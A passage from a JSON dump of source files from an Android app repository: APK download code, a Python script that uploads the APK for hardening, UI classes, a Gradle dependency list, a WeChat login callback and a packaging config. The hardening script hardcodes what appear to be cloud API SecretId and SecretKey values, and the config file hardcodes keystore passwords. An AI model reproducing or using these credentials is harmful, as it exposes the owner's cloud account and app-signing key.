Uri.fromFile(updateFile);\n }\n intent.setDataAndType(uri, \"application/vnd.android.package-archive\");\n PendingIntent pendingIntent = PendingIntent.getActivity(ctx, 0, intent,\n 0);\n mBuilder.setContentText(\"ไธ‹่ฝฝๅฎŒๆฏ•็‚นๅ‡ปๅฎ‰่ฃ…\")\n .setWhen(System.currentTimeMillis())\n .setDefaults(Notification.DEFAULT_ALL)\n .setSmallIcon(R.mipmap.ic_launcher)\n .setContentIntent(pendingIntent)\n .setAutoCancel(true);\n }\n\n Notification notify = mBuilder.build();\n notificationManager.notify(notificationId, notify);\n }\n }\n\n\n /**\n * ไธ‹่ฝฝๆ–‡ไปถ\n */\n private void downLoadFile(String url, File file) {\n// url=\"https://www.9ben.cn/download/andriod/9benfresh.apk\";\n isDownload = true;\n final Request request = new Request.Builder().url(url).build();\n final Call call = RestClient.getDownloadClient().newCall(request);\n DownloadCallback downloadCallback = new DownloadCallback(this, url);\n call.enqueue(new Callback() {\n @Override\n public void onFailure(Call call, IOException e) {\n isDownload = false;\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n }\n\n @Override\n public void onResponse(Call call, Response response) {\n int lastProgress = 0;\n if (response.isSuccessful()) {\n InputStream is = null;\n byte[] buf = new byte[2048];\n int len;\n FileOutputStream fos = null;\n try {\n long total = response.body().contentLength();\n LogUtil.e(TAG, \"total------>\" + total);\n long current = 0;\n is = response.body().byteStream();\n fos = new FileOutputStream(file);\n while ((len = is.read(buf)) != -1) {\n current += len;\n fos.write(buf, 0, len);\n LogUtil.e(TAG, \"current------>\" + current);\n if (total == -1) {\n downloadCallback.updateProgress(-1);\n } else {\n int progress = (int) (current * 1.0f / total * 100);\n progress = progress >= 100 ? 99 : progress;\n if (lastProgress != progress) {\n downloadCallback.updateProgress(progress);\n }\n lastProgress = progress;\n }\n }\n fos.flush();\n try {\n fos.close();\n } catch (Exception e) {\n e.printStackTrace();\n }\n downloadCallback.sendMsg(DownloadCallback.msg_success);\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n } finally {\n try {\n if (is != null) {\n is.close();\n }\n if (fos != null) {\n fos.close();\n }\n } catch (Exception e) {\n LogUtil.e(TAG, e.toString());\n }\n }\n } else {\n downloadCallback.sendMsg(DownloadCallback.msg_fail);\n }\n isDownload = false;\n }\n });\n }\n}\n" }, { "alpha_fraction": 0.5586017966270447, "alphanum_fraction": 0.5606579780578613, "avg_line_length": 33.761905670166016, "blob_id": "c0b087763810562ea460c7a1fa316d9de16e9ba0", "content_id": "b99d88c37e2e4b560ea107bfd2ab5d8ce2c5254d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1489, "license_type": "no_license", "max_line_length": 171, "num_lines": 42, "path": "/scripts/jiaguModule.py", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "#coding:utf8\nimport os\nimport sys\n\nclass JiaGuUtil:\n def startJiaGu(self, apkPath):\n print(\"apkPath = \" + apkPath)\n SecretId = 'AKIDoZ9vY2w1Um06ILi3JOODyv7RocnawW4U'\n SecretKey = 'tlMNZ4Ti1Ma8XC5CXM8116A5b4Pdj6LO'\n\n (filepath, tempfilename) = os.path.split(apkPath)\n (filename, extension) = os.path.splitext(tempfilename)\n print('apkFileName = ' + filename)\n apkResignerForWallePath = 'ToolMakeChannelApk'\n downloadPath = apkResignerForWallePath + '/apk-jiagu'\n\n cmdLeguStr = (\n ' rm -rf ' + downloadPath + '/*.apk'\n + '\\n rm -rf ' + downloadPath\n + '\\n mkdir ' + downloadPath\n + '\\n java -Dfile.encoding=utf-8 -jar scripts/lib/ms-shield.jar -sid %s -skey %s -uploadPath %s -downloadPath %s' %(SecretId, SecretKey, apkPath, downloadPath)\n )\n print(cmdLeguStr)\n print('ๅผ€ๅง‹ไธŠไผ ๏ผŒๅนถๅŠ ๅ›บ๏ผŒ่ฏท่€ๅฟƒ็ญ‰ๅพ…๏ฝž')\n os.system(cmdLeguStr)\n\n leguAppPath = ''\n appVersionName = ''\n for fpath, dirname, fnames in os.walk(downloadPath):\n print(fnames)\n print(fpath)\n fname = fnames[0]\n leguApkPath = fpath\n leguAppPath = leguApkPath + '/' + fname\n\n newName = '%s-legu.apk' %(filename)\n oldPath = os.path.join(fpath, fname)\n newPath = os.path.join(fpath, newName)\n os.rename(oldPath, newPath)\n leguAppPath = newPath\n print('leguAppPath = ' + leguAppPath)\n break" }, { "alpha_fraction": 0.6793145537376404, "alphanum_fraction": 0.6793145537376404, "avg_line_length": 28.214284896850586, "blob_id": "1b362dc7632707557c5c0def63a9bcf80ed248ca", "content_id": "8e02b202101246240893c2503a64c0cbbabef964", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 829, "license_type": "no_license", "max_line_length": 94, "num_lines": 28, "path": "/app/src/main/java/com/android/base/task/UpdateTask.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.task\n\nimport android.content.Context\nimport androidx.work.WorkerParameters\nimport com.blankj.utilcode.util.NetworkUtils\nimport component.update.AppDownloadClient\nimport component.update.AppVersion\nimport component.update.VersionUpdateListener\n\n\n/**\n * ๅ‡็บงไธ‹่ฝฝไปปๅŠก\n * @author zhangquan\n */\nclass UpdateTask(context: Context, param: WorkerParameters) : BackgroundTask(context, param) {\n override fun doTask(parameters: WorkerParameters) {\n if (NetworkUtils.isAvailable()) {\n AppDownloadClient.doCheckVersion(object : VersionUpdateListener {\n override fun onNoVersionReturned() {\n }\n\n override fun fail() {}\n override fun onNewVersionReturned(appVersion: AppVersion) {\n }\n })\n }\n }\n}" }, { "alpha_fraction": 0.7230769395828247, "alphanum_fraction": 0.7230769395828247, "avg_line_length": 13.55555534362793, "blob_id": "d8760f436b1f782a89bf8832c1de061d2db63ebd", "content_id": "d4eb6989c714236b8d261497ee21cca288fe3979", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 130, "license_type": "no_license", "max_line_length": 60, "num_lines": 9, "path": "/app/src/main/java/com/android/base/util/crash/MainQuitException.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.example.crash_handler\n\n/**\n *\n * @author zhangquan\n */\nclass MainQuitException(str:String) :RuntimeException(str) {\n\n}" }, { "alpha_fraction": 0.5966101884841919, "alphanum_fraction": 0.5966101884841919, "avg_line_length": 18.66666603088379, "blob_id": "92b84492f7ae9b1ed65f385c2df134a7d35e6335", "content_id": "6f558665a7616f93b1461418a2263827bbdd46e9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 299, "license_type": "no_license", "max_line_length": 67, "num_lines": 15, "path": "/librarys/CommonUtil/src/main/java/com/android/util/db/EasyDB.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.util.db;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class EasyDB {\n\n public static <T> DBSession<T> with(Class<T> cls) {\n return new DBSession<T>(cls);\n }\n\n public static <T> DBSession<T> with(Class<T> cls, String uid) {\n return new DBSession<T>(cls, uid);\n }\n}\n" }, { "alpha_fraction": 0.7047532200813293, "alphanum_fraction": 0.7084094882011414, "avg_line_length": 25.682926177978516, "blob_id": "9fc6b3afd69005cc55fc89f9ad8401729bd132c0", "content_id": "b0e2965d30b6552c6b52abdffc2fd5a99be74619", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1132, "license_type": "no_license", "max_line_length": 71, "num_lines": 41, "path": "/app/src/main/java/com/android/base/widget/BottomInAllDialog.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.widget;\n\nimport android.app.Dialog;\nimport android.content.Context;\nimport android.os.Bundle;\nimport android.view.Gravity;\nimport android.view.Window;\nimport android.view.WindowManager;\n\nimport androidx.annotation.NonNull;\n\nimport com.fastapp.R;\n\n\n/**\n * ๅบ•้ƒจๅผนๆก†\n *\n * @author ๅผ ๅ…จ\n */\npublic class BottomInAllDialog extends Dialog {\n public BottomInAllDialog(@NonNull Context context) {\n super(context);\n }\n\n @Override\n protected void onCreate(Bundle savedInstanceState) {\n super.onCreate(savedInstanceState);\n\n\n Window win = this.getWindow();\n win.getDecorView().setPadding(0, 0, 0, 0);\n WindowManager.LayoutParams lp = win.getAttributes();\n lp.width = WindowManager.LayoutParams.MATCH_PARENT;\n lp.height = WindowManager.LayoutParams.MATCH_PARENT;\n lp.windowAnimations = R.style.AnimBottom;\n lp.gravity = Gravity.BOTTOM;\n win.setAttributes(lp);\n win.setBackgroundDrawableResource(android.R.color.transparent);\n setCanceledOnTouchOutside(false); // ็‚นๅ‡ปๅฑๅน•Dialogไปฅๅค–็š„ๅœฐๆ–นๆ˜ฏๅฆๆถˆๅคฑ\n }\n}\n" }, { "alpha_fraction": 0.6342329382896423, "alphanum_fraction": 0.6342329382896423, "avg_line_length": 22.46666717529297, "blob_id": "68e3608807fb68a6e4be8f16727ad54fc1a65f19", "content_id": "8028c9ad0a789bbcf9fac6bf3bab9097363315f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1412, "license_type": "no_license", "max_line_length": 67, "num_lines": 60, "path": "/librarys/CommonWidget/src/main/java/common/widget/dialog/LoadingLoadingView.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.dialog;\n\nimport android.animation.ValueAnimator;\nimport android.content.Context;\nimport android.text.TextUtils;\nimport android.view.View;\nimport android.widget.ImageView;\nimport android.widget.TextView;\nimport common.widget.R;\n\n/**\n * @author ๅผ ๅ…จ\n */\npublic class LoadingLoadingView extends DialogView {\n private ImageView mLoadingView;\n private TextView mLoadingTxt;\n private String loadingTxt;\n private ValueAnimator anim;\n\n public LoadingLoadingView(Context ctx) {\n super(ctx);\n }\n\n public LoadingLoadingView(Context ctx, String loadingTxt) {\n super(ctx);\n this.loadingTxt = loadingTxt;\n }\n\n @Override\n protected void initView(View view) {\n mLoadingView = (ImageView) findViewById(R.id.loadingbar);\n mLoadingTxt = (TextView) findViewById(R.id.loadingbar_txt);\n if (!TextUtils.isEmpty(loadingTxt)) {\n mLoadingTxt.setText(loadingTxt);\n }\n }\n\n public void startAnimal() {\n if (mLoadingView != null && anim != null) {\n anim.start();\n }\n }\n\n public void stop() {\n if (mLoadingView != null && anim != null) {\n anim.cancel();\n anim = null;\n }\n }\n\n public void setText(String text) {\n mLoadingTxt.setText(text);\n }\n\n @Override\n protected int getLayoutId() {\n return R.layout.dialog_loading;\n }\n\n}\n" }, { "alpha_fraction": 0.6191219687461853, "alphanum_fraction": 0.6557348370552063, "avg_line_length": 39.02777862548828, "blob_id": "e342f397eb8f6ffde4302a89eb1666171bebb4b3", "content_id": "41cee00ad5c279bd3f312d51891abaf5b6d71ee1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Gradle", "length_bytes": 6085, "license_type": "no_license", "max_line_length": 105, "num_lines": 144, "path": "/buildsystem/dependencies.gradle", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "ext {\n\n //################################# ็‰ˆๆœฌๅท #################################\n app = [\n versionCode : 10000,\n versionName : '1.0.0', //versionName: a.b.c -> versionCode = a*10000+b*100+c*1 ๅฆ‚1.2.3->10203\n applicationId: 'com.fastapp'\n ]\n\n //Android\n buildToolsVersion = \"30.0.2\"\n minSdkVersion = 21\n targetSdkVersion = 28\n compileSdkVersion = 30\n\n javaVersion = JavaVersion.VERSION_1_8\n\n //Libraries\n supportVersion = '1.0.0'\n retrofit2Version = '2.9.0'\n okHttpVersion = '4.7.2'\n glideVersion = '4.11.0'\n roomVersion = '2.2.5'\n autoDisposeVersion = '2.0.0'\n work_version = '2.4.0'\n //่ฐƒ่ฏ•\n leakCanaryVersion = '1.6.3'\n blockCanaryVersion = '1.5.0'\n\n //################################# ไพ่ต–ๅบ“ #################################\n //kotlin\n kotlin = \"org.jetbrains.kotlin:kotlin-stdlib-jdk8:1.3.72\"\n kotlin_core = \"androidx.core:core-ktx:1.3.2\"\n kotlin_coroutines = \"org.jetbrains.kotlinx:kotlinx-coroutines-core:1.5.0\"\n //Android Support\n supportV4 = \"androidx.legacy:legacy-support-v4:${supportVersion}\"\n appCompat = \"androidx.appcompat:appcompat:1.3.0-alpha02\"\n materialDesign = \"com.google.android.material:material:1.2.1\"\n recyclerView = \"androidx.recyclerview:recyclerview:1.2.0\"\n percentlayout = \"androidx.percentlayout:percentlayout:${supportVersion}\"\n cardView = \"androidx.cardview:cardview:1.0.0\"\n\n constraint = \"androidx.constraintlayout:constraintlayout:2.0.4\"\n lifecycleExtensions = \"androidx.lifecycle:lifecycle-extensions:2.2.0\" //ViewModelProviders\n multidex = 'androidx.multidex:multidex:2.0.1'\n\n //Rx็ณปๅˆ—\n rxJava = \"io.reactivex.rxjava2:rxjava:2.2.6\"\n rxAndroid = \"io.reactivex.rxjava2:rxandroid:2.1.1\"\n rxPermissions = \"com.github.tbruyelle:rxpermissions:0.10.2\"\n rxBinding = \"com.jakewharton.rxbinding4:rxbinding:4.0.0\"\n\n //DI็ณปๅˆ—\n butterKnife = \"com.jakewharton:butterknife:10.2.1\"\n butterKnifeCompiler = \"com.jakewharton:butterknife-compiler:10.2.1\"\n arouter = \"com.alibaba:arouter-api:1.5.1\"\n arouterCompiler = \"com.alibaba:arouter-compiler:1.5.1\"\n\n //็ฝ‘็ปœไพ่ต–ๅบ“\n retrofit2 = \"com.squareup.retrofit2:retrofit:${retrofit2Version}\"\n retrofit2AdapterRxjava = \"com.squareup.retrofit2:adapter-rxjava2:${retrofit2Version}\"\n retrofit2ConvertGson = \"com.squareup.retrofit2:converter-gson:${retrofit2Version}\"\n retrofit2Scalars = \"com.squareup.retrofit2:converter-scalars:2.0.0\"\n okHttp = \"com.squareup.okhttp3:okhttp:${okHttpVersion}\"\n loggingInterceptor = \"com.squareup.okhttp3:logging-interceptor:${okHttpVersion}\"\n gson = \"com.google.code.gson:gson:2.8.6\"\n\n //ไบ‹ไปถ้€š็Ÿฅ\n eventBus = \"org.greenrobot:eventbus:3.2.0\"\n //googleๅทฅๅ…ท็ฑป่šๅˆ\n guava = \"com.google.guava:guava:29.0-android\"\n //Androidๅทฅๅ…ทๅบ“\n utilCode = 'com.blankj:utilcodex:1.29.0'\n //็ฌฌไธ‰ๆ–นRecycleView adapter\n recycleViewAdapter = \"com.github.CymChad:BaseRecyclerViewAdapterHelper:3.0.4\"\n //Fragmentๅฎนๅ™จ\n fragmentation = \"me.yokeyword:fragmentationx:1.0.2\"\n\n //ไธ‹ๆ‹‰ๅˆทๆ–ฐ\n smartRefresh = 'com.scwang.smartrefresh:SmartRefreshLayout:1.1.0-x'\n smartRefreshHeader = 'com.scwang.smartrefresh:SmartRefreshHeader:1.1.0-x' //ๆฒกๆœ‰ไฝฟ็”จ็‰นๆฎŠHeader๏ผŒๅฏไปฅไธๅŠ ่ฟ™่กŒ\n\n //Glideๅ›พ็‰‡ๅŠ ่ฝฝ\n glide = \"com.github.bumptech.glide:glide:${glideVersion}\"\n glideCompiler = \"com.github.bumptech.glide:compiler:${glideVersion}\"\n glideOkHttp = \"com.github.bumptech.glide:okhttp3-integration:${glideVersion}\" //ไฝฟ็”จokhttpๅŠ ่ฝฝๅ›พ็‰‡\n glideWebp = \"com.zlc.glide:webpdecoder:2.0.${glideVersion}\"\n glideTransform = \"jp.wasabeef:glide-transformations:4.3.0\" //ๅ›พ็‰‡ๅค„็†(ๅœ†่ง’ใ€้ขœ่‰ฒใ€Blurใ€Mask)\n\n //ๆ‹็…งๅ’Œ้€‰ๆ‹ฉ็…ง็‰‡ https://github.com/yanzhenjie/Album\n album = 'com.yanzhenjie:album:2.1.3'\n //ๅ›พ็‰‡ๅŽ‹็ผฉ https://github.com/Curzibn/Luban\n luban = 'top.zibin:Luban:1.1.8'\n //ๅœ†่ง’ๅ›พ็‰‡ ้€‚ๅˆๅŠ ่ฝฝ้™ๆ€ๅ›พ็‰‡ๅ’Œ้žgif็š„็ฝ‘็ปœๅ›พ็‰‡ ๅฆ‚ๆžœๆ˜ฏ็ฝ‘็ปœๅœ†่ง’ๅ›พ็‰‡ ๅปบ่ฎฎไฝฟ็”จGlide\n roundedImageView = 'com.makeramen:roundedimageview:2.3.0'\n\n\n //*************************** START *****************************\n\n //Roomๆ•ฐๆฎๅบ“\n roomRuntime = \"androidx.room:room-runtime:$roomVersion\"\n roomProcessor = \"androidx.room:room-compiler:$roomVersion\"\n roomRxjava2 = \"androidx.room:room-rxjava2:$roomVersion\"\n roomGuava = \"androidx.room:room-guava:$roomVersion\"\n roomKotlin = \"androidx.room:room-ktx:$roomVersion\"\n\n //WorkManager\n // (Java only)\n workManager = \"androidx.work:work-runtime:$work_version\"\n //Kotlin + coroutines\n workManager_kotlin = \"androidx.work:work-runtime-ktx:$work_version\"\n // optional - RxJava2 support\n workManager_rxjava2 = \"androidx.work:work-rxjava2:$work_version\"\n\n //ๅพฎไฟกK-V็ป„ไปถ\n MMKV = \"com.tencent:mmkv-static:1.2.2\"\n\n\n //่Žทๅ–ๆ—ถ้—ด้˜ฒๆญขไฟฎๆ”นๆ‰‹ๆœบๆ—ถ้—ด\n truetime = 'com.github.instacart.truetime-android:library-extension-rx:3.4'\n //ๆ—ถ้—ดๆˆ–ๆกไปถ้€‰ๆ‹ฉๆŽงไปถ https://github.com/Bigkoo/Android-PickerView\n pickerView = \"com.contrarywind:Android-PickerView:4.1.9\"\n //ไบŒ็ปด็ ๆ‰ซๆzxing\n zxing = 'cn.bingoogolapple:bga-qrcode-zxing:1.3.7'\n //ๆ ‡็ญพๆตๅผๅธƒๅฑ€\n flowlayout = \"com.hyman:flowlayout-lib:1.1.2\"\n //apk้˜ฒๆŠค\n easyProtector = \"com.lahm.library:easy-protector-release:1.1.1\"\n\n //*************************** END *****************************\n\n\n //################################# ๅผ€ๅ‘่ฐƒ่ฏ• #################################\n //https://github.com/markzhai/AndroidPerformanceMonitor\n //https://github.com/square/leakcanary\n debugDependencies = [\n leakCanary : \"com.squareup.leakcanary:leakcanary-android:${leakCanaryVersion}\",\n blockCanary: \"com.github.markzhai:blockcanary-android:${blockCanaryVersion}\"\n ]\n releaseDependencies = [\n leakCanary : \"com.squareup.leakcanary:leakcanary-android-no-op:${leakCanaryVersion}\",\n blockCanary: \"com.github.markzhai:blockcanary-no-op:${blockCanaryVersion}\"\n ]\n}" }, { "alpha_fraction": 0.6019451022148132, "alphanum_fraction": 0.6047238707542419, "avg_line_length": 31.34831428527832, "blob_id": "9f2e4819cb26c3689f9dd8273f303b456f52424b", "content_id": "5445e340b441ed6ec0d76926210267ad842b5f77", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 2885, "license_type": "no_license", "max_line_length": 108, "num_lines": 89, "path": "/app/src/main/java/com/android/base/ui/splash/GuideActivity.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.ui.splash;\n\nimport android.content.Context;\nimport android.content.Intent;\nimport android.os.Bundle;\nimport android.view.LayoutInflater;\nimport android.view.View;\nimport android.view.ViewGroup;\nimport android.widget.ImageView;\n\nimport androidx.annotation.NonNull;\nimport androidx.viewpager.widget.PagerAdapter;\nimport androidx.viewpager.widget.ViewPager;\n\nimport com.android.base.ui.BaseActivity;\nimport com.fastapp.MainActivity;\nimport com.fastapp.R;\n\nimport net.medlinker.android.splash.SplashUtil;\n\nimport java.util.ArrayList;\n\n/**\n * ๅผ•ๅฏผ้กต\n */\npublic class GuideActivity extends BaseActivity {\n private static final int[] imgs = new int[]{R.drawable.guide01, R.drawable.guide02, R.drawable.guide03};\n private ViewPager viewPager;\n\n\n public static void start(Context ctx) {\n Intent intent = new Intent(ctx, GuideActivity.class);\n ctx.startActivity(intent);\n }\n\n @Override\n public int getLayoutId() {\n return R.layout.guide_layout;\n }\n\n @Override\n public void init(Bundle savedInstanceState) {\n ArrayList<View> viewList = new ArrayList<>();\n for (int i = 0; i < imgs.length; i++) {\n View view = LayoutInflater.from(this).inflate(R.layout.guide_item, null);\n ImageView imageView = view.findViewById(R.id.guide_img);\n imageView.setImageResource(imgs[i]);\n viewList.add(view);\n if (i == imgs.length - 1) {\n View btn = view.findViewById(R.id.tv_go_login);\n btn.setVisibility(View.VISIBLE);\n btn.setOnClickListener(new View.OnClickListener() {\n @Override\n public void onClick(View v) {\n SplashUtil.setShowGuide(true);\n MainActivity.start(GuideActivity.this);\n finish();\n }\n });\n }\n }\n viewPager = findViewById(R.id.viewpager);\n viewPager.setAdapter(new PagerAdapter() {\n @Override\n public int getCount() {\n return viewList.size();\n }\n\n @NonNull\n @Override\n public Object instantiateItem(@NonNull ViewGroup container, int position) {\n container.addView(viewList.get(position), ViewGroup.LayoutParams.MATCH_PARENT,\n ViewGroup.LayoutParams.MATCH_PARENT);\n return viewList.get(position);\n }\n\n @Override\n public void destroyItem(@NonNull ViewGroup container, int position, @NonNull Object object) {\n container.removeView(viewList.get(position));\n }\n\n @Override\n public boolean isViewFromObject(@NonNull View view, @NonNull Object object) {\n return view == object;\n }\n });\n }\n\n}\n" }, { "alpha_fraction": 0.46669667959213257, "alphanum_fraction": 0.46804681420326233, "avg_line_length": 31.691177368164062, "blob_id": "5c8446a3e182d4c9ee1579366982a0d877651b08", "content_id": "b6e7920fde2c3bfab13ed0a72f55408b24a04197", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Kotlin", "length_bytes": 2270, "license_type": "no_license", "max_line_length": 93, "num_lines": 68, "path": "/app/src/main/java/com/fastapp/wxapi/WXEntryActivity.kt", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.fastapp.wxapi\n\nimport android.content.ClipData\nimport android.content.ClipboardManager\nimport android.content.Context\nimport com.android.base.Constant\nimport com.android.base.event.EventMsg\nimport com.fastapp.BuildConfig\nimport com.tencent.mm.opensdk.modelbase.BaseResp\nimport com.tencent.mm.opensdk.modelmsg.SendAuth\nimport com.umeng.socialize.weixin.view.WXCallbackActivity\nimport org.greenrobot.eventbus.EventBus\n\n/**\n * ๅพฎไฟก็™ปๅฝ•ๅ›ž่ฐƒ\n */\nclass WXEntryActivity : WXCallbackActivity() {\n override fun onResp(authResp: BaseResp) {\n if (authResp is SendAuth.Resp) { // ๆŽˆๆƒ\n when (authResp.errCode) {\n BaseResp.ErrCode.ERR_OK -> { // ็”จๆˆทๅŒๆ„\n addToClip(authResp.code)\n EventBus.getDefault().post(\n EventMsg(\n Constant.Event.WX_CODE,\n authResp.code\n )\n )\n }\n BaseResp.ErrCode.ERR_AUTH_DENIED -> { // ็”จๆˆทๆ‹’็ปๆŽˆๆƒ\n EventBus.getDefault().post(\n EventMsg(\n Constant.Event.WX_CODE,\n \"0\"\n )\n )\n }\n BaseResp.ErrCode.ERR_USER_CANCEL -> { // ๅ–ๆถˆๆŽˆๆƒ\n EventBus.getDefault().post(\n EventMsg(\n Constant.Event.WX_CODE,\n \"1\"\n )\n )\n }\n else -> {\n EventBus.getDefault().post(\n EventMsg(\n Constant.Event.WX_CODE,\n \"1\"\n )\n )\n }\n }\n finish()\n } else { // ๅˆ†ไบซ\n super.onResp(authResp)\n }\n }\n\n private fun addToClip(code: String) {\n if (BuildConfig.DEBUG) {\n val myClipboard = getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager\n val myClip = ClipData.newPlainText(\"levelText\", code)\n myClipboard.setPrimaryClip(myClip)\n }\n }\n}" }, { "alpha_fraction": 0.6269261837005615, "alphanum_fraction": 0.6382806301116943, "avg_line_length": 28.380952835083008, "blob_id": "afac9966217d058b274726bd3aa41a75a0560206", "content_id": "4141aeb7de4cdab9faf25fdf9f683d05975fc161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 1233, "license_type": "no_license", "max_line_length": 114, "num_lines": 42, "path": "/librarys/CommonWidget/src/main/java/common/widget/listview/LinearSpaceItemDecoration.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package common.widget.listview;\n\nimport android.graphics.Rect;\nimport android.view.View;\n\nimport androidx.recyclerview.widget.RecyclerView;\n\npublic class LinearSpaceItemDecoration extends RecyclerView.ItemDecoration {\n private int headerCount;\n private int mOrientation;\n private int space;\n\n public LinearSpaceItemDecoration(int space,int oriention) {\n this.space = space;\n setOrientation(oriention);\n }\n\n public void setOrientation(int orientation) {\n if (orientation != 0 && orientation != 1) {\n throw new IllegalArgumentException(\"Invalid orientation. It should be either HORIZONTAL or VERTICAL\");\n } else {\n this.mOrientation = orientation;\n }\n }\n\n public void setHeaderCount(int headerCount) {\n this.headerCount = headerCount;\n }\n\n\n @Override\n public void getItemOffsets(Rect outRect, View view, RecyclerView parent, RecyclerView.State state) {\n outRect.set(0, 0, 0, 0);\n if ((parent.getChildLayoutPosition(view)-headerCount)>=0) {\n if (this.mOrientation == 1) {\n outRect.set(0, 0, 0, space);\n } else {\n outRect.set(0, 0, space, 0);\n }\n }\n }\n}" }, { "alpha_fraction": 0.8002322912216187, "alphanum_fraction": 0.8025551438331604, "avg_line_length": 30.925926208496094, "blob_id": "3c1ddbfa902aeb51936c26721da2bc1630b4e0eb", "content_id": "0c0644bf4f4d231bf104328b94955b291f12c2bb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 865, "license_type": "no_license", "max_line_length": 112, "num_lines": 27, "path": "/app/src/main/java/com/android/base/util/OkHttpAppGlideModule.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.base.util;\n\nimport android.content.Context;\n\nimport androidx.annotation.NonNull;\n\nimport com.android.base.data.RestClient;\nimport com.bumptech.glide.Glide;\nimport com.bumptech.glide.Registry;\nimport com.bumptech.glide.annotation.GlideModule;\nimport com.bumptech.glide.integration.okhttp3.OkHttpUrlLoader;\nimport com.bumptech.glide.load.model.GlideUrl;\nimport com.bumptech.glide.module.AppGlideModule;\n\nimport java.io.InputStream;\n\nimport okhttp3.OkHttpClient;\n\n@GlideModule\npublic class OkHttpAppGlideModule extends AppGlideModule {\n\n @Override\n public void registerComponents(@NonNull Context context, @NonNull Glide glide, @NonNull Registry registry) {\n OkHttpClient client = RestClient.getImgDownloadClient();\n registry.replace(GlideUrl.class, InputStream.class, new OkHttpUrlLoader.Factory(client)); //httpsๆ”ฏๆŒ\n }\n}" }, { "alpha_fraction": 0.7425742745399475, "alphanum_fraction": 0.7524752616882324, "avg_line_length": 19.399999618530273, "blob_id": "608ba2c93700cee012ce9748d4c9c08d836e53c3", "content_id": "837ade3a58145304873eda057b0dd3d2163d1e65", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Java", "length_bytes": 101, "license_type": "no_license", "max_line_length": 36, "num_lines": 5, "path": "/librarys/CommonUtil/src/main/java/com/android/util/common/CommonCallBack.java", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "package com.android.util.common;\n\npublic interface CommonCallBack<T> {\n void onCallBack(T var1);\n}" }, { "alpha_fraction": 0.7556886076927185, "alphanum_fraction": 0.7736526727676392, "avg_line_length": 32.400001525878906, "blob_id": "853b4ab7590855f416110f564881ee9e1617d933", "content_id": "05fbc0ebb78066fa5ee2555d79c92f3d8c42981f", "detected_licenses": [ "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1089, "license_type": "permissive", "max_line_length": 78, "num_lines": 25, "path": "/scripts_channels/config.py", "repo_name": "zhangquanit/fastapp", "src_encoding": "UTF-8", "text": "#!/usr/bin/python \n#-*-coding:utf-8-*-\n\n#keystoreไฟกๆฏ\n#Windows ไธ‹่ทฏๅพ„ๅˆ†ๅ‰ฒ็บฟ่ฏทๆณจๆ„ไฝฟ็”จ\\\\่ฝฌไน‰\nkeystorePath = \"../medlinker.keystore\"\nkeyAlias = \"medlinker\"\nkeystorePassword = \"medlinker\"\nkeyPassword = \"medlinker\"\n\n#ๅŠ ๅ›บๅŽ็š„ๆบๆ–‡ไปถๅ๏ผˆๆœช้‡็ญพๅ๏ผ‰\nprotectedSourceApkName = \"\"\n#ๅŠ ๅ›บๅŽ็š„ๆบๆ–‡ไปถๆ‰€ๅœจๆ–‡ไปถๅคน่ทฏๅพ„(...path),ๆณจๆ„็ป“ๅฐพไธ่ฆๅธฆๅˆ†้š”็ฌฆ๏ผŒ้ป˜่ฎคๅœจๆญคๆ–‡ไปถๅคนๆ น็›ฎๅฝ•\nprotectedSourceApkDirPath = \"apk-jiagu\"\n#ๆธ ้“ๅŒ…่พ“ๅ‡บ่ทฏๅพ„๏ผŒ้ป˜่ฎคๅœจๆญคๆ–‡ไปถๅคนchannels็›ฎๅฝ•ไธ‹\nchannelsOutputFilePath = \"channels\"\n#ๆธ ้“ๅ้…็ฝฎๆ–‡ไปถ่ทฏๅพ„๏ผŒ้ป˜่ฎคๅœจๆญคๆ–‡ไปถๅคนๆ น็›ฎๅฝ•\nchannelFilePath = \"\"\n#้ขๅค–ไฟกๆฏ้…็ฝฎๆ–‡ไปถ๏ผˆ็ปๅฏน่ทฏๅพ„๏ผŒไพ‹ๅฆ‚/Users/mac/Desktop/walle360/config.json๏ผ‰\n#้…็ฝฎไฟกๆฏ็คบไพ‹ๅ‚็œ‹https://github.com/Meituan-Dianping/walle/blob/master/app/config.json\nextraChannelFilePath = \"\"\n#Android SDK buidtools path , please use above 25.0+\n# sdkBuildToolPath = \"/Users/macbook/Library/Android/sdk/build-tools/26.0.2\"\n# sdkBuildToolPath = \"/Users/macbook/workspace/android-sdk/build-tools/26.0.2\"\nsdkBuildToolPath = \"lib\"\n" }, { 